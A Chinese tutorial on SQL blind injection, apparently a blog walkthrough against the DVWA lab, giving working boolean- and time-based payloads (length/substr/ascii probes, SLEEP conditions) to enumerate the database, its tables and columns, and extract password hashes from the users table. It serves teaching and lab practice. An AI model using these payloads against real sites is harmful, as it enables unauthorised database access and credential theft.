sql盲注

文章目录

布尔盲注

介绍:在网页只给你两种回显的时候是用,类似于布尔类型的数据,1表示正确,0表示错误。

特点:思路简单,步骤繁琐且麻烦。

核心函数:

  1. length()函数
  2. substr()函数

下面以dvwa靶场为例来介绍布尔盲注的过程。

首先试一下这个业务流程,输入1和100显示是不同的,但是他不会回显你具体数据。



1.我们测试一下是否存在sql注入的漏洞。

txt 复制代码
1 and 1=1(exist)
1 and 1=2(exist)
1' and 1=1#(exist)
1' and 1=2#(missing)

这里我们可以基本确定是字符型的布尔盲注的sql漏洞了。

1.猜测数据库库名

txt 复制代码
1' and length(database())=1 #
1' and length(database())=2 #
1' and length(database())=3 #
1' and length(database())=4 #

猜到4的时候击中目标,因此数据库的库名长度为4

2.猜测库名的第一个字母

sql 复制代码
1' and ascii(substr(database(),1,1))>65 #
1' and ascii(substr(database(),1,1))<122 #
...
...
...

由于步骤过于麻烦,我们用bp直接批量尝试。

可以看出当payload为100时数据包的回显长度从4604一下子跳到了4617,查ascii表可以判断出第一个字母是d,以此类推可以判断出数据库名字为dvwa

3.猜表名

这里测出来有两张表

txt 复制代码
1' and (select count(table_name) from information_schema.tables where table_schema=database())>10 #(missing)
1' and (select count(table_name) from information_schema.tables where table_schema=database())>1 #(exist)
1' and (select count(table_name) from information_schema.tables where table_schema=database())>2 #(missing)
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #(exist)

分别猜两张表的长度,再猜表名。猜测方法跟步骤2中的方法一致。

猜长度

sql 复制代码
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>10 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>5 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>7 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))>8 #(missing)
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9#(exist)

猜表名,为guestbook和users

sql 复制代码
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>88 #
...
...
...

4.猜列名

这一步其实也是不停的重复,但是我们可以带点猜测的意思,想想users表里会有什么列,password之类重要的。

sql 复制代码
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1 #

5.猜字段值

二分法,猜测字段

sql 复制代码
1' and length(substr((select password from users limit 0,1),1))=32 #(32位一般都是MD5加密)
1' and ascii(substr((select password from users limit 0,1),1,1))=64 #(32位的长度强烈建议写一个脚本来跑)
...
...
...

时间盲注

原理:

时间盲注的核心思想是通过向SQL查询中注入特定的延时函数(如MySQL中的SLEEP()函数),使数据库的响应时间变长。

攻击者通过比较注入延时语句和未注入语句时的响应时间差异,来推断数据库中的某些信息。

常用函数:

SLEEP()函数

BENCHMARK()函数

WAITFOR DELAY 'time'

...

由于上面布尔盲注写了基本思路,这里大概讲一下。

主要是根据页面的响应时间来判断你的语句是否执行成功。后面配合IF(condition, SLEEP(seconds), 0)这种形式的语句来完成注入。

1.确定注入点

sql 复制代码
1' and sleep(5) #(明显500ms的延迟表示语句执行成功,存在字符型的漏洞)

2.猜库名

先猜库的长度

sql 复制代码
1' and if(length(database())=4,sleep(5),1) #

再猜库的具体字母

sql 复制代码
1' and if(ascii(substr(database(),1,1))=100,sleep(5),1)#
...
...
...

可以得出库名为dvwa
3.猜表名

先猜几个表

sql 复制代码
1' and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)#

再分别二分法猜表名

sql 复制代码
1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #
...
...
...

最后的两个表名为guestbook和users
4.猜列

先猜有几列

sql 复制代码
1' and if((select count(column_name) from information_schema.columns where table_name= 'users')=8,sleep(5),1)#

再猜长度

sql 复制代码
1' and if(length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7,sleep(5),1)

最后二分法猜具体字母
5.猜字段

具体见布尔盲注,基本上一模一样

相关推荐
LUCIAZZZ3 小时前
简单的SQL语句的快速复习
java·数据库·sql
云空5 小时前
《DeepSeek 网页/API 性能异常(DeepSeek Web/API Degraded Performance):网络安全日志》
运维·人工智能·web安全·网络安全·开源·网络攻击模型·安全威胁分析
doubt。5 小时前
8.攻防世界Web_php_wrong_nginx_config
网络·安全·web安全·网络安全
Elastic 中国社区官方博客5 小时前
使用真实 Elasticsearch 进行高级集成测试
大数据·数据库·elasticsearch·搜索引擎·全文检索·jenkins·集成测试
@_@哆啦A梦5 小时前
Redis 基础命令
java·数据库·redis
fajianchen5 小时前
MySQL 索引存储结构
数据库·mysql
一张假钞5 小时前
Spark SQL读写Hive Table部署
hive·sql·spark
想做富婆5 小时前
oracle: 多表查询之联合查询[交集intersect, 并集union,差集minus]
数据库·oracle·联合查询
xianwu5437 小时前
反向代理模块jmh
开发语言·网络·数据库·c++·mysql
Leven1995277 小时前
Flink (十三) :Table API 与 DataStream API 的转换 (一)
数据库·sql·flink